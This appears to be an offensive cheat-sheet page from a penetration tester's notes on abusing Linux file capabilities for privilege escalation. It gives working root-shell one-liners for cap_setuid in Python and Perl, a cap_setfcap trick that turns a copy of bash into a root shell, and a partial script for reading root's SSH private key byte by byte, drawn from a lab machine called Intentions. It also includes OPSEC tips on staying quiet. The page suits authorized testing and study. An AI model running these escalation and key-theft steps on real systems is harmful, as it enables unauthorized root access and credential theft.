Capabilities Abuse
#Overview
Linux capabilities divide root's monolithic power into distinct units that can be independently granted to binaries. A binary with dangerous capabilities (like cap_setuid+ep) can be leveraged for privilege escalation without needing a full SUID bit or sudo access. Capabilities were introduced to reduce the attack surface of SUID binaries -- but they create their own escalation paths.
#Prerequisites
- User-level shell access
getcaporgetfattravailable on the system- Understanding of capability flags:
+ep(effective and permitted)
#Detection & Enumeration
# List all files with capabilities (recursive)
getcap -r / 2>/dev/null
# Alternative using file attributes
getfattr -d -m "^security.capability" /path/to/binary 2>/dev/null
# Check capabilities on a specific binary
getcap /opt/scanner/scanner
# Output: /opt/scanner/scanner cap_dac_read_search=ep
# +ep = effective and permitted
# Common capabilities to watch for
# cap_setuid+ep -- Can set UID to 0 (root)
# cap_setgid+ep -- Can set GID to 0
# cap_net_raw+ep -- Raw sockets (tcpdump, scapy)
# cap_sys_admin+ep -- Mount, kernel modules, various admin
# cap_sys_ptrace+ep -- ptrace other processes including root processes
# cap_sys_module+ep -- Load/unload kernel modules
# cap_fowner+ep -- Bypass file permission checks
# cap_dac_read_search+ep -- Read any file regardless of permissions
# cap_dac_override+ep -- Bypass file read/write/execute checks
# cap_setfcap+ep -- Set capabilities on files (create your own)
# cap_chown+ep -- Change file ownership
# cap_net_admin+ep -- Network admin operations
#Exploitation / Execution
#cap_setuid+ep -- Set UID to 0
# Python with cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# Perl with cap_setuid+ep
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
#cap_net_raw+ep -- Raw Socket Access
# Run tcpdump (normally requires root)
tcpdump -i eth0 -w capture.pcap
# Use scapy for packet crafting
python3 -c 'from scapy.all import *; ...'
#cap_sys_admin+ep -- System Administration
# Mount filesystems
mount -t tmpfs none /tmp/test
mount /dev/sda1 /mnt
# Load kernel modules (if combined with other caps)
insmod malicious.ko
#cap_dac_read_search+ep -- Read Any File
This allows reading files regardless of ownership/permissions. Used in Intentions to exfiltrate root's SSH key:
# The scanner binary with this capability can read any file
# Script to exfiltrate a sensitive file byte-by-byte via MD5 comparison
/opt/scanner/scanner -c /root/.ssh/id_rsa -h hash_blacklist -l 1
# Build a brute-force script that:
# 1. Creates a hash blacklist with all printable characters
# 2. Uses the scanner to compare each byte
# 3. Reconstructs the file one byte at a time
Real example from Intentions: The scanner binary had cap_dac_read_search=ep allowing it to read any file. A Python script was created to exfiltrate /root/.ssh/id_rsa one byte at a time by generating MD5 hashes of all printable characters and comparing against the scanner's partial hash output:
import string
import hashlib
import subprocess
base = ""
readFile = "/root/.ssh/id_rsa"
def writeFile(base):
f = open("hash.log", "w")
for character in string.printable:
check = base + character
checkHash = hashlib.md5(check.encode())
md5 = checkHash.hexdigest()
f.write(f"{md5}:{md5}\n")
f.close()
# Run scanner with -l flag controlling bytes read
# /opt/scanner/scanner -c readFile -h hash.log -l len(base)+1
# Match output to reconstruct file character by character
#cap_sys_ptrace+ep -- Ptrace Any Process
# Attach to a root-owned process and inject shellcode
# Can read memory of any process including SSH agent, password manager, etc.
# Use gdb to attach to root process
gdb -p <PID_of_root_process>
# Or use a ptrace-based injection tool
#cap_setfcap+ep -- Set Capabilities on Files
# Escalate by giving a binary cap_setuid+ep
cp /bin/bash /tmp/rootbash
setcap cap_setuid+ep /tmp/rootbash
/tmp/rootbash -c 'python3 -c "import os; os.setuid(0); os.system(\"/bin/bash\")"'
#cap_chown+ep -- Change File Ownership
# Take ownership of /etc/passwd or /etc/shadow
cp /etc/passwd /tmp/passwd
# Then take ownership of original:
# (complex chaining required -- take ownership of a file writable by root
# that gets executed, like a cron job or systemd service)
#Python/Perl with Capabilities
When a scripting language interpreter has capabilities:
# Check if python has capabilities
getcap $(which python3)
# /usr/bin/python3.8 cap_setuid+ep
# Direct root
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
#Common Pitfalls
getcap -r /is noisy on large filesystems -- redirect stderr:getcap -r / 2>/dev/null- Not all capabilities are immediately useful for privesc -- focus on the ones listed above
- Capabilities on binaries may be inherited from parent processes (the
+pflag matters) - The
+eflag means the capability is in the "effective" set (immediately active);+imeans "inheritable" - Some capabilities require multiple ones combined (e.g., loading kernel modules needs
cap_sys_module+cap_sys_admin)
#OPSEC Considerations
getcap -r /is a read-only operation and very low noise.- Executing capability-enabled binaries generates audit logs but the initial capability check is stealthy.
- The byte-by-byte exfiltration technique used with
cap_dac_read_searchis extremely slow and generates many process creation events.
#Post-Exploitation Value
Capability abuse can provide: root shell (cap_setuid), file read primitives (cap_dac_read_search), network monitoring (cap_net_raw), process memory access (cap_sys_ptrace), and filesystem manipulation (cap_sys_admin). The most common outcome is reading root's SSH key or directly spawning a root shell.
#Cross-References
#Tool References
| Tool | Link |
|---|---|
| getcap | Built-in (libcap2-bin package) |
| setcap | Built-in (libcap2-bin package) |
| GTFOBins (capabilities) | https://gtfobins.github.io/#+capabilities |
#Source Machines
- Intentions (Hard, Linux) -
cap_dac_read_search=epon /opt/scanner/scanner used to byte-by-byte exfiltrate /root/.ssh/id_rsa